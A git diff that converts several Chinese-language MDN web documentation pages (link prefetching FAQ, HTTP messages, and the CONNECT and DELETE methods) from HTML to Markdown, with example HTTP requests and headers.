    当用户点击一个连接,或开始任何形式的页面加载时,预取操作将被停止且任何预取提示将被丢弃。如果一个预取文档只下载了一部分,那么这部分文档将被保存在缓存中,供服务端发送一个 "Accept-Ranges: bytes" 的返回头。这个返回头通常是由网络服务器在返回静态内容时生成的。当用户真正访问这个已经(部分)预载过的文档时,该文档的剩余部分将被通过一个 HTTP byte-range 的请求获取。

    +当用户点击一个连接,或开始任何形式的页面加载时,预取操作将被停止且任何预取提示将被丢弃。如果一个预取文档只下载了一部分,那么这部分文档将被保存在缓存中,供服务端发送一个 "Accept-Ranges: bytes" 的返回头。这个返回头通常是由网络服务器在返回静态内容时生成的。当用户真正访问这个已经(部分)预载过的文档时,该文档的剩余部分将被通过一个 HTTP byte-range 的请求获取。 - +### 如果后台正在进行下载任务会发生什么?预取会争夺带宽吗? -

    视情况而定。如果你正在使用 Mozilla 下载某些东西,预取将被推迟到下载结束。例如,如果你尝试加载书签组(将会开启多个浏览器标签),任何由书签组某页面发出的预取请求将被延迟到所有标签加载完毕时进行。如果你正在使用其他依赖网络的应用程序,那么 Mozilla 中的预取可能会与它们竞争带宽。这个问题我们希望将来能够借助操作系统服务去检测网络空闲时间来解决。

    +视情况而定。如果你正在使用 Mozilla 下载某些东西,预取将被推迟到下载结束。例如,如果你尝试加载书签组(将会开启多个浏览器标签),任何由书签组某页面发出的预取请求将被延迟到所有标签加载完毕时进行。如果你正在使用其他依赖网络的应用程序,那么 Mozilla 中的预取可能会与它们竞争带宽。这个问题我们希望将来能够借助操作系统服务去检测网络空闲时间来解决。 -

    对预取内容是否有限制?

    +### 对预取内容是否有限制? -

    是的,只有 http:// (从 {{ Gecko("1.9.1") }} 开始支持 https:// ) 的 URL 可以被预取。其他协议(如 FTP)没有对客户端缓存提供足够的支持。

    +是的,只有 http\:// (从 {{ Gecko("1.9.1") }} 开始支持 https\:// ) 的 URL 可以被预取。其他协议(如 FTP)没有对客户端缓存提供足够的支持。 -

    Mozilla 能够预取不同宿主的文档吗?

    +### Mozilla 能够预取不同宿主的文档吗? -

    可以。预取不受同源限制。限制预取来自同一个服务器并不会对增强浏览器的安全性有所帮助。

    +可以。预取不受同源限制。限制预取来自同一个服务器并不会对增强浏览器的安全性有所帮助。 -

    预提取的请求是否包含 Referer: header?

    +### 预提取的请求是否包含 Referer: header? -

    是的,预取的请求包含一个 HTTP Referer: header,指示从中提取预取提示的文档。

    +是的,预取的请求包含一个 HTTP `Referer:` header,指示从中提取预取提示的文档。 -

    这可能会影响许多站点上常用的引荐来源跟踪。 因此,链接预取可能不适用于所有内容。 但是,可以通过指定Cache-control: must-revalidate HTTP response header,指示 Mozilla 在用户遵循 href 到预提取文档时验证预提取文档。 此标头可启用缓存,但在从浏览器的缓存中提供文档之前,需要If-Modified-SinceIf-None-Match验证请求。

    +这可能会影响许多站点上常用的引荐来源跟踪。 因此,链接预取可能不适用于所有内容。 但是,可以通过指定`Cache-control: must-revalidate `HTTP response header,指示 Mozilla 在用户遵循 href 到预提取文档时验证预提取文档。 此标头可启用缓存,但在从浏览器的缓存中提供文档之前,需要`If-Modified-Since`或`If-None-Match`验证请求。 -

    作为服务器管理员,我可以区分预取请求和普通请求吗?

    +### 作为服务器管理员,我可以区分预取请求和普通请求吗? -

    是的,我们将以下标头与每个预取请求一起发送:

    +是的,我们将以下标头与每个预取请求一起发送: -
    X-moz: prefetch
    +```plain +X-moz: prefetch +``` -

    Of course, this request header is not at all standardized, and it may change in future Mozilla releases. Chrome uses "X-Purpose: prefetch" or "Purpose: prefetch" header.当然,此请求标头根本不是标准化的,并且在将来的 Mozilla 版本中可能会更改。 Chrome 使用“ X-Purpose: prefetch”或“Purpose: prefetch 的header

    +Of course, this request header is not at all standardized, and it may change in future Mozilla releases. Chrome uses "X-Purpose: prefetch" or "Purpose: prefetch" [header](https://bugs.webkit.org/show_bug.cgi?id=46529).当然,此请求标头根本不是标准化的,并且在将来的 Mozilla 版本中可能会更改。 Chrome 使用“ X-Purpose: prefetch”或“Purpose: prefetch 的[header](https://bugs.webkit.org/show_bug.cgi?id=46529)。 - +### 是否有禁用链接预取的首选项? -

    是的,您可以设置一个隐藏的首选项来禁用链接预取。 将此行添加到位于配置文件目录中的 prefs.js 文件中(或通过about:config进行适当的更改):

    +是的,您可以设置一个隐藏的首选项来禁用链接预取。 将此行添加到位于配置文件目录中的 prefs.js 文件中(或通过[about:config](/about:config)进行适当的更改): -
    user_pref("network.prefetch-next", false);
    -
    +```plain +user_pref("network.prefetch-next", false); +``` -

    但是,从理论上讲,如果需要禁用链接预取,实现就一定会存在问题。 如果它不能正确运行,我们宁愿改进实现,也不希望用户找到并调整一些隐藏的偏好。

    +但是,从理论上讲,如果需要禁用链接预取,实现就一定会存在问题。 如果它不能正确运行,我们宁愿改进实现,也不希望用户找到并调整一些隐藏的偏好。 -

    那些按网络流量付费的人呢?

    +### 那些按网络流量付费的人呢? -

    Basically, there are two ways of looking at this issue: websites can already cause things to be silently downloaded using JS/DOM hacks. prefetching is a browser feature; users should be able to disable it easily.

    +Basically, there are two ways of looking at this issue: websites can already cause things to be silently downloaded using JS/DOM hacks. prefetching is a browser feature; users should be able to disable it easily. -

    It is important that websites adopt <link> tag based prefetching instead of trying to roll-in silent downloading using various JS/DOM hacks. The <link> tag gives the browser the ability to know what sites are up to, and we can use this information to better prioritize document prefetching. The user preference to disable <link> tag prefetching may simply encourage websites to stick with JS/DOM hacks, and that would not be good for users. This is one reason why prefetching is enabled by default.

    +It is important that websites adopt `` tag based prefetching instead of trying to roll-in silent downloading using various JS/DOM hacks. The `` tag gives the browser the ability to know what sites are up to, and we can use this information to better prioritize document prefetching. The user preference to disable `` tag prefetching may simply encourage websites to stick with JS/DOM hacks, and that would not be good for users. This is one reason why prefetching is enabled by default. -

    基本上,有两种方法可以解决此问题:网站可以使用 JS / DOM 之类的 hacks 方式静默下载内容。 预取是浏览器功能; 用户应该能够轻松禁用它。

    +基本上,有两种方法可以解决此问题:网站可以使用 JS / DOM 之类的 hacks 方式静默下载内容。 预取是浏览器功能; 用户应该能够轻松禁用它。 -

    网站采用基于<link>标记的预取非常重要,而不是尝试使用各种 JS / DOM 之类的 hacks 方式进行静默下载。 <link>标记使浏览器能够知道正在访问哪些站点,我们可以使用此信息更好地确定文档预取的优先级。 用户偏好禁用<link>标记预取可能只是鼓励网站坚持使用 JS / DOM 之类的 hacks 方式,这对用户不利。 这是默认情况下启用预取的原因之一。

    +网站采用基于``标记的预取非常重要,而不是尝试使用各种 JS / DOM 之类的 hacks 方式进行静默下载。 ``标记使浏览器能够知道正在访问哪些站点,我们可以使用此信息更好地确定文档预取的优先级。 用户偏好禁用``标记预取可能只是鼓励网站坚持使用 JS / DOM 之类的 hacks 方式,这对用户不利。 这是默认情况下启用预取的原因之一。 - +### 哪些浏览器支持链接预取? -

    基于 Mozilla 1.2(或更高版本)的浏览器以及基于 Mozilla 1.0.2(或更高版本)的浏览器均支持预取。 这包括 Firefox 和 Netscape 7.01+。 截至 2003 年 3 月,Camino 构建基于 Mozilla 1.0.1,因此不支持预取。 测试您的浏览器是否支持链接预取。

    +基于 Mozilla 1.2(或更高版本)的浏览器以及基于 Mozilla 1.0.2(或更高版本)的浏览器均支持预取。 这包括 Firefox 和 Netscape 7.01+。 截至 2003 年 3 月,Camino 构建基于 Mozilla 1.0.1,因此不支持预取。 测试您的浏览器是否支持链接预取。 -

    隐私问题

    +### 隐私问题 -

    除了上面已经提到的引用和 URL 跟随含义外,预取通常会导致访问预取站点的 cookie。(例如,如果您使用 google amazon,则 google 结果页面将预取 www.amazon.com,从而导致 amazon cookie 来回发送。您可以在 Firefox 中阻止第三方 cookie,请参参阅 Disabling third party cookies。)

    +除了上面已经提到的引用和 URL 跟随含义外,预取通常会导致访问预取站点的 cookie。(例如,如果您使用 google amazon,则 google 结果页面将预取 www\.amazon.com,从而导致 amazon cookie 来回发送。您可以在 Firefox 中阻止第三方 cookie,请参参阅 [Disabling third party cookies](http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies)。) -

    关于...?

    +### 关于...? -

    如果您对链接预取有任何疑问或意见,请随时按我的方式发送它们:-)

    +如果您对链接预取有任何疑问或意见,请随时按我的方式发送它们:-) -

    也可以看看...

    +#### 也可以看看... -

    Prefetching Hints

    +[Prefetching Hints](http://www.edochan.com/programming/pf.htm) diff --git a/files/zh-cn/web/http/messages/index.md b/files/zh-cn/web/http/messages/index.md index 35554c5f49f478..27734dd12ec7c5 100644 --- a/files/zh-cn/web/http/messages/index.md +++ b/files/zh-cn/web/http/messages/index.md @@ -5,138 +5,118 @@ tags: - 指南 HTTP translation_of: Web/HTTP/Messages --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰ 请求(requests)-- 由客户端发送用来触发一个服务器上的动作;响应(responses)-- 来自服务器的应答。

    +HTTP 消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰ 请求(requests)-- 由客户端发送用来触发一个服务器上的动作;响应(responses)-- 来自服务器的应答。 -

    HTTP 消息由采用 ASCII 编码的多行文本构成。在 HTTP/1.1 及早期版本中,这些消息通过连接公开地发送。在 HTTP/2 中,为了优化和性能方面的改进,曾经可人工阅读的消息被分到多个 HTTP 帧中。

    +HTTP 消息由采用 ASCII 编码的多行文本构成。在 HTTP/1.1 及早期版本中,这些消息通过连接公开地发送。在 HTTP/2 中,为了优化和性能方面的改进,曾经可人工阅读的消息被分到多个 HTTP 帧中。 -

    Web 开发人员或网站管理员,很少自己手工创建这些原始的 HTTP 消息︰ 由软件、浏览器、 代理或服务器完成。他们通过配置文件(用于代理服务器或服务器),API(用于浏览器)或其他接口提供 HTTP 消息。

    +Web 开发人员或网站管理员,很少自己手工创建这些原始的 HTTP 消息︰ 由软件、浏览器、 代理或服务器完成。他们通过配置文件(用于代理服务器或服务器),API(用于浏览器)或其他接口提供 HTTP 消息。 -

    From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.

    +![From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.](httpmsg2.png) -

    HTTP/2 二进制框架机制被设计为不需要改动任何 API 或配置文件即可应用︰ 它大体上对用户是透明的。

    +HTTP/2 二进制框架机制被设计为不需要改动任何 API 或配置文件即可应用︰ 它大体上对用户是透明的。 -

    HTTP 请求和响应具有相似的结构,由以下部分组成︰

    +HTTP 请求和响应具有相似的结构,由以下部分组成︰ -
      -
    1. 一行起始行用于描述要执行的请求,或者是对应的状态,成功或失败。这个起始行总是单行的。
    2. -
    3. 一个可选的 HTTP 头集合指明请求或描述消息正文。
    4. -
    5. 一个空行指示所有关于请求的元数据已经发送完毕。
    6. -
    7. 一个可选的包含请求相关数据的正文 (比如 HTML 表单内容), 或者响应相关的文档。 正文的大小有起始行的 HTTP 头来指定。
    8. -
    +1. 一行起始行用于描述要执行的请求,或者是对应的状态,成功或失败。这个起始行总是单行的。 +2. 一个可选的 HTTP 头集合指明请求或描述消息正文。 +3. 一个空行指示所有关于请求的元数据已经发送完毕。 +4. 一个可选的包含请求相关数据的正文 (比如 HTML 表单内容), 或者响应相关的文档。 正文的大小有起始行的 HTTP 头来指定。 -

    起始行和 HTTP 消息中的 HTTP 头统称为请求头,而其有效负载被称为消息正文。

    +起始行和 HTTP 消息中的 HTTP 头统称为请求头,而其有效负载被称为消息正文。 -

    Requests and responses share a common structure in HTTP

    +![Requests and responses share a common structure in HTTP](httpmsgstructure2.png) -

    HTTP 请求

    +## HTTP 请求 -

    起始行

    +### 起始行 -

    HTTP 请求是由客户端发出的消息,用来使服务器执行动作。起始行 (start-line) 包含三个元素:

    +HTTP 请求是由客户端发出的消息,用来使服务器执行动作。_起始行 (start-line)_ 包含三个元素: -
      -
    1. 一个 HTTP 方法,一个动词 (像 {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} 或者 {{HTTPMethod("POST")}}) 或者一个名词 (像 {{HTTPMethod("HEAD")}} 或者 {{HTTPMethod("OPTIONS")}}), 描述要执行的动作。例如,GET 表示要获取资源,POST 表示向服务器推送数据 (创建或修改资源,或者产生要返回的临时文件)。
    2. -
    3. 请求目标 (request target),通常是一个 {{glossary("URL")}},或者是协议、端口和域名的绝对路径,通常以请求的环境为特征。请求的格式因不同的 HTTP 方法而异。它可以是: -
        -
      • 一个绝对路径,末尾跟上一个 ' ? ' 和查询字符串。这是最常见的形式,称为 原始形式 (origin form),被 GET,POST,HEAD 和 OPTIONS 方法所使用。
        - POST / HTTP/1.1
        - GET /background.png HTTP/1.0
        - HEAD /test.html?query=alibaba HTTP/1.1
        - OPTIONS /anypage.html HTTP/1.0
      • -
      • 一个完整的 URL,被称为 绝对形式 (absolute form),主要在使用 GET 方法连接到代理时使用。
        - GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1
      • -
      • 由域名和可选端口(以':'为前缀)组成的 URL 的 authority component,称为 authority form。 仅在使用 CONNECT 建立 HTTP 隧道时才使用。
        - CONNECT developer.mozilla.org:80 HTTP/1.1
      • -
      • 星号形式 (asterisk form),一个简单的星号 ('*'),配合 OPTIONS 方法使用,代表整个服务器。
        - OPTIONS * HTTP/1.1
      • -
      -
    4. -
    5. HTTP 版本 (HTTP version)定义了剩余报文的结构,作为对期望的响应版本的指示符。
    6. -
    +1. 一个 _[HTTP 方法](/zh-CN/docs/Web/HTTP/Methods)_,一个动词 (像 {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} 或者 {{HTTPMethod("POST")}}) 或者一个名词 (像 {{HTTPMethod("HEAD")}} 或者 {{HTTPMethod("OPTIONS")}}), 描述要执行的动作。例如,`GET` 表示要获取资源,`POST` 表示向服务器推送数据 (创建或修改资源,或者产生要返回的临时文件)。 +2. *请求目标 (request target),*通常是一个 {{glossary("URL")}},或者是协议、端口和域名的绝对路径,通常以请求的环境为特征。请求的格式因不同的 HTTP 方法而异。它可以是: -

    Headers

    + - 一个绝对路径,末尾跟上一个 ' ? ' 和查询字符串。这是最常见的形式,称为 _原始形式 (origin form)_,被 GET,POST,HEAD 和 OPTIONS 方法所使用。 + `POST / HTTP/1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0` + - 一个完整的 URL,被称为 _绝对形式 (absolute form)_,主要在使用 `GET` 方法连接到代理时使用。 + `GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1` + - 由域名和可选端口(以`':'`为前缀)组成的 URL 的 authority component,称为 _authority form_。 仅在使用 `CONNECT` 建立 HTTP 隧道时才使用。 + `CONNECT developer.mozilla.org:80 HTTP/1.1` + - _星号形式 (asterisk form)_,一个简单的星号 (`'*'`),配合 `OPTIONS` 方法使用,代表整个服务器。 + `OPTIONS * HTTP/1.1` -

    来自请求的 HTTP headers 遵循和 HTTP header 相同的基本结构:不区分大小写的字符串,紧跟着的冒号 (':') 和一个结构取决于 header 的值。 整个 header(包括值)由一行组成,这一行可以相当长。

    +3. _HTTP 版本 (HTTP version_)*,*定义了剩余报文的结构,作为对期望的响应版本的指示符。 -

    有许多请求头可用,它们可以分为几组:

    +### Headers -
      -
    • General headers,例如 {{HTTPHeader("Via")}},适用于整个报文。
    • -
    • Request headers,例如 {{HTTPHeader("User-Agent")}},{{HTTPHeader("Accept-Type")}},通过进一步的定义 (例如 {{HTTPHeader("Accept-Language")}}),或者给定上下文 (例如 {{HTTPHeader("Referer")}}),或者进行有条件的限制 (例如 {{HTTPHeader("If-None")}}) 来修改请求。
    • -
    • Entity headers,例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。
    • -
    +来自请求的 [HTTP headers](/zh-CN/docs/Web/HTTP/Headers) 遵循和 HTTP header 相同的基本结构:不区分大小写的字符串,紧跟着的冒号 `(':')` 和一个结构取决于 header 的值。 整个 header(包括值)由一行组成,这一行可以相当长。 -

    Example of headers in an HTTP request

    +有许多请求头可用,它们可以分为几组: -

    Body

    +- _General headers_,例如 {{HTTPHeader("Via")}},适用于整个报文。 +- _Request headers_,例如 {{HTTPHeader("User-Agent")}},{{HTTPHeader("Accept-Type")}},通过进一步的定义 (例如 {{HTTPHeader("Accept-Language")}}),或者给定上下文 (例如 {{HTTPHeader("Referer")}}),或者进行有条件的限制 (例如 {{HTTPHeader("If-None")}}) 来修改请求。 +- _Entity headers_,例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。 -

    请求的最后一部分是它的 body。不是所有的请求都有一个 body:例如获取资源的请求,GET,HEAD,DELETE 和 OPTIONS,通常它们不需要 body。 有些请求将数据发送到服务器以便更新数据:常见的的情况是 POST 请求(包含 HTML 表单数据)。

    +![Example of headers in an HTTP request](https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png) -

    Body 大致可分为两类:

    +### Body -
      -
    • Single-resource bodies,由一个单文件组成。该类型 body 由两个 header 定义: {{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}.
    • -
    • Multiple-resource bodies,由多部分 body 组成,每一部分包含不同的信息位。通常是和 HTML Forms 连系在一起。
    • -
    +请求的最后一部分是它的 body。不是所有的请求都有一个 body:例如获取资源的请求,GET,HEAD,DELETE 和 OPTIONS,通常它们不需要 body。 有些请求将数据发送到服务器以便更新数据:常见的的情况是 POST 请求(包含 HTML 表单数据)。 -

    HTTP 响应

    +Body 大致可分为两类: -

    状态行

    +- Single-resource bodies,由一个单文件组成。该类型 body 由两个 header 定义: {{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}. +- [Multiple-resource bodies](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data),由多部分 body 组成,每一部分包含不同的信息位。通常是和 [HTML Forms](/zh-CN/docs/Web/Guide/HTML/Forms) 连系在一起。 -

    HTTP 响应的起始行被称作 状态行 (status line),包含以下信息:

    +## HTTP 响应 -
      -
    1. 协议版本,通常为 HTTP/1.1。
    2. -
    3. 状态码 (status code),表明请求是成功或失败。常见的状态码是 {{HTTPStatus("200")}},{{HTTPStatus("404")}},或 {{HTTPStatus("302")}}。
    4. -
    5. 状态文本 (status text)。一个简短的,纯粹的信息,通过状态码的文本描述,帮助人们理解该 HTTP 消息。
    6. -
    +### 状态行 -

    一个典型的状态行看起来像这样:HTTP/1.1 404 Not Found

    +HTTP 响应的起始行被称作 _状态行_ _(status line)_,包含以下信息: -

    Headers

    +1. _协议版本_,通常为 `HTTP/1.1。` +2. _状态码_ (_status code_),表明请求是成功或失败。常见的状态码是 {{HTTPStatus("200")}},{{HTTPStatus("404")}},或 {{HTTPStatus("302")}}。 +3. _状态文本 (status text)_。一个简短的,纯粹的信息,通过状态码的文本描述,帮助人们理解该 HTTP 消息。 -

    响应的 HTTP headers 遵循和任何其它 header 相同的结构:不区分大小写的字符串,紧跟着的冒号 (':') 和一个结构取决于 header 类型的值。 整个 header(包括其值)表现为单行形式。

    +一个典型的状态行看起来像这样:`HTTP/1.1 404 Not Found`。 -

    有许多响应头可用,这些响应头可以分为几组:

    +### Headers -
      -
    • General headers,例如 {{HTTPHeader("Via")}},适用于整个报文。
    • -
    • Response headers,例如 {{HTTPHeader("Vary")}} 和 {{HTTPHeader("Accept-Ranges")}},提供其它不符合状态行的关于服务器的信息。
    • -
    • Entity headers,例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。
    • -
    +响应的 [HTTP headers](/zh-CN/docs/Web/HTTP/Headers) 遵循和任何其它 header 相同的结构:不区分大小写的字符串,紧跟着的冒号 (`':'`) 和一个结构取决于 header 类型的值。 整个 header(包括其值)表现为单行形式。 -

    Example of headers in an HTTP response

    +有许多响应头可用,这些响应头可以分为几组: -

    Body

    +- *General headers,*例如 {{HTTPHeader("Via")}},适用于整个报文。 +- *Response headers,*例如 {{HTTPHeader("Vary")}} 和 {{HTTPHeader("Accept-Ranges")}},提供其它不符合状态行的关于服务器的信息。 +- _Entity headers_,例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。 -

    响应的最后一部分是 body。不是所有的响应都有 body:具有状态码 (如 {{HTTPStatus("201")}} 或 {{HTTPStatus("204")}}) 的响应,通常不会有 body。

    +![Example of headers in an HTTP response](https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png) -

    Body 大致可分为三类:

    +### Body -
      -
    • Single-resource bodies,由已知长度的单个文件组成。该类型 body 由两个 header 定义:{{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}。
    • -
    • Single-resource bodies,由未知长度的单个文件组成,通过将 {{HTTPHeader("Transfer-Encoding")}} 设置为 chunked 来使用 chunks 编码。
    • -
    • Multiple-resource bodies,由多部分 body 组成,每部分包含不同的信息段。但这是比较少见的。
    • -
    +响应的最后一部分是 body。不是所有的响应都有 body:具有状态码 (如 {{HTTPStatus("201")}} 或 {{HTTPStatus("204")}}) 的响应,通常不会有 body。 -

    HTTP/2 帧

    +Body 大致可分为三类: -

    HTTP/1.x 报文有一些性能上的缺点:

    +- Single-resource bodies,由**已知**长度的单个文件组成。该类型 body 由两个 header 定义:{{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}。 +- Single-resource bodies,由**未知**长度的单个文件组成,通过将 {{HTTPHeader("Transfer-Encoding")}} 设置为 `chunked `来使用 chunks 编码。 +- [Multiple-resource bodies](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data),由多部分 body 组成,每部分包含不同的信息段。但这是比较少见的。 -
      -
    • Header 不像 body,它不会被压缩。
    • -
    • 两个报文之间的 header 通常非常相似,但它们仍然在连接中重复传输。
    • -
    • 无法复用。当在同一个服务器打开几个连接时:TCP 热连接比冷连接更加有效。
    • -
    +## HTTP/2 帧 -

    HTTP/2 引入了一个额外的步骤:它将 HTTP/1.x 消息分成帧并嵌入到流 (stream) 中。数据帧和报头帧分离,这将允许报头压缩。将多个流组合,这是一个被称为 多路复用 (multiplexing) 的过程,它允许更有效的底层 TCP 连接。

    +HTTP/1.x 报文有一些性能上的缺点: -

    HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.

    +- Header 不像 body,它不会被压缩。 +- 两个报文之间的 header 通常非常相似,但它们仍然在连接中重复传输。 +- 无法复用。当在同一个服务器打开几个连接时:TCP 热连接比冷连接更加有效。 -

    HTTP 帧现在对 Web 开发人员是透明的。在 HTTP/2 中,这是一个在 HTTP/1.1 和底层传输协议之间附加的步骤。Web 开发人员不需要在其使用的 API 中做任何更改来利用 HTTP 帧;当浏览器和服务器都可用时,HTTP/2 将被打开并使用。

    +HTTP/2 引入了一个额外的步骤:它将 HTTP/1.x 消息分成帧并嵌入到流 (stream) 中。数据帧和报头帧分离,这将允许报头压缩。将多个流组合,这是一个被称为 _多路复用 (multiplexing)_ 的过程,它允许更有效的底层 TCP 连接。 -

    结论

    +![HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.](binary_framing2.png) -

    HTTP 报文是使用 HTTP 的关键;它们的结构简单,并且具有高可扩展性。HTTP/2 帧机制是在 HTTP/1.x 语法和底层传输协议之间增加了一个新的中间层,而没有从根本上修改它,即它是建立在经过验证的机制之上。

    +HTTP 帧现在对 Web 开发人员是透明的。在 HTTP/2 中,这是一个在 HTTP/1.1 和底层传输协议之间附加的步骤。Web 开发人员不需要在其使用的 API 中做任何更改来利用 HTTP 帧;当浏览器和服务器都可用时,HTTP/2 将被打开并使用。 + +## 结论 + +HTTP 报文是使用 HTTP 的关键;它们的结构简单,并且具有高可扩展性。HTTP/2 帧机制是在 HTTP/1.x 语法和底层传输协议之间增加了一个新的中间层,而没有从根本上修改它,即它是建立在经过验证的机制之上。 diff --git a/files/zh-cn/web/http/methods/connect/index.md b/files/zh-cn/web/http/methods/connect/index.md index 6df7f714b578bd..7fdc403a24db80 100644 --- a/files/zh-cn/web/http/methods/connect/index.md +++ b/files/zh-cn/web/http/methods/connect/index.md @@ -6,67 +6,47 @@ tags: - 隧道 translation_of: Web/HTTP/Methods/CONNECT --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    在 HTTP 协议中,CONNECT 方法可以开启一个客户端与所请求资源之间的双向沟通的通道。它可以用来创建隧道(tunnel)。

    +在 HTTP 协议中,**`CONNECT` **方法可以开启一个客户端与所请求资源之间的双向沟通的通道。它可以用来创建隧道(tunnel)。 -

    例如,CONNECT 可以用来访问采用了 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 协议的站点。客户端要求代理服务器将 TCP 连接作为通往目的主机隧道。之后该服务器会代替客户端与目的主机建立连接。连接建立好之后,代理服务器会面向客户端发送或接收 TCP 消息流。

    +例如,**`CONNECT` **可以用来访问采用了 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 协议的站点。客户端要求代理服务器将 TCP 连接作为通往目的主机隧道。之后该服务器会代替客户端与目的主机建立连接。连接建立好之后,代理服务器会面向客户端发送或接收 TCP 消息流。 -

    CONNECT 是一个应用范围为点到点的方法。

    +`CONNECT` 是一个应用范围为点到点的方法。 - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Request has bodyNo
    Successful response has bodyYes
    {{Glossary("Safe")}}No
    {{Glossary("Idempotent")}}No
    {{Glossary("Cacheable")}}No
    Allowed in HTML formsNo
    +| Request has body | No | +| --------------------------------------------------------- | --- | +| Successful response has body | Yes | +| {{Glossary("Safe")}} | No | +| {{Glossary("Idempotent")}} | No | +| {{Glossary("Cacheable")}} | No | +| Allowed in [HTML forms](/zh-CN/docs/Web/Guide/HTML/Forms) | No | -

    语法

    +## 语法 -
    CONNECT www.example.com:443 HTTP/1.1
    -
    +```plain +CONNECT www.example.com:443 HTTP/1.1 +``` -

    示例

    +## 示例 -

    一些代理服务器在创建隧道时会要求进行身份验证。参见 {{HTTPHeader("Proxy-Authorization")}} 首部。

    +一些代理服务器在创建隧道时会要求进行身份验证。参见 {{HTTPHeader("Proxy-Authorization")}} 首部。 -
    CONNECT server.example.com:80 HTTP/1.1
    +```plain
    +CONNECT server.example.com:80 HTTP/1.1
     Host: server.example.com:80
    -Proxy-Authorization: basic aGVsbG86d29ybGQ=
    +Proxy-Authorization: basic aGVsbG86d29ybGQ= +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{Glossary("Proxy server")}}
    • -
    • {{HTTPHeader("Proxy-Authorization")}}
    • -
    +- {{Glossary("Proxy server")}} +- {{HTTPHeader("Proxy-Authorization")}} diff --git a/files/zh-cn/web/http/methods/delete/index.md b/files/zh-cn/web/http/methods/delete/index.md index 523f52cee7c357..5941602a5d6cc9 100644 --- a/files/zh-cn/web/http/methods/delete/index.md +++ b/files/zh-cn/web/http/methods/delete/index.md @@ -8,83 +8,59 @@ tags: - 请求方法 translation_of: Web/HTTP/Methods/DELETE --- -
    {{HTTPSidebar}}
    - -

    HTTP DELETE 请求方法用于删除指定的资源。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    请求是否有主体可以有
    成功的返回是否有主体可以有
    {{Glossary("安全")}}
    {{Glossary("幂等")}}
    {{Glossary("可缓存")}}
    可以在HTML forms中使用
    - -

    语法

    - -
    DELETE /file.html HTTP/1.1
    -
    - -

    示例

    - -

    请求

    - -
    DELETE /file.html HTTP/1.1
    - -

    响应

    - -

    如果 DELETE 方法成功执行,那么可能会有以下几种状态码:

    - -
      -
    • 状态码 {{HTTPStatus("202")}} (Accepted) 表示请求的操作可能会成功执行,但是尚未开始执行。
    • -
    • 状态码 {{HTTPStatus("204")}} (No Content) 表示操作已执行,但是无进一步的相关信息。
    • -
    • 状态码 {{HTTPStatus("200")}} (OK) 表示操作已执行,并且响应中提供了相关状态的描述信息。
    • -
    - -
    HTTP/1.1 200 OK
    -Date: Wed, 21 Oct 2015 07:28:00 GMT
    +{{HTTPSidebar}}
     
    -<html>
    -  <body>
    -    <h1>File deleted.</h1>
    -  </body>
    -</html>
    +**HTTP DELETE** 请求方法用于删除指定的资源。 -

    规范

    +| 请求是否有主体 | 可以有 | +| ---------------------------------------------------------- | ------ | +| 成功的返回是否有主体 | 可以有 | +| {{Glossary("安全")}} | 否 | +| {{Glossary("幂等")}} | 是 | +| {{Glossary("可缓存")}} | 否 | +| 可以在[HTML forms](/zh-CN/docs/Web/Guide/HTML/Forms)中使用 | 否 | -{{Specifications}} +## 语法 + +```plain +DELETE /file.html HTTP/1.1 +``` + +## 示例 + +### 请求 + +```plain +DELETE /file.html HTTP/1.1 +``` + +### 响应 -

    Browser compatibility

    +如果 `DELETE `方法成功执行,那么可能会有以下几种状态码: -

    {{Compat}}

    +- 状态码 {{HTTPStatus("202")}} (`Accepted`) 表示请求的操作可能会成功执行,但是尚未开始执行。 +- 状态码 {{HTTPStatus("204")}} (`No Content`) 表示操作已执行,但是无进一步的相关信息。 +- 状态码 {{HTTPStatus("200")}} (`OK`) 表示操作已执行,并且响应中提供了相关状态的描述信息。 + +```plain +HTTP/1.1 200 OK +Date: Wed, 21 Oct 2015 07:28:00 GMT + + + +

    File deleted.

    + + +``` + +## 规范 + +{{Specifications}} -

    相关内容

    +## Browser compatibility -
      -
    • HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}
    • -
    +{{Compat}} -

    +## 相关内容 -

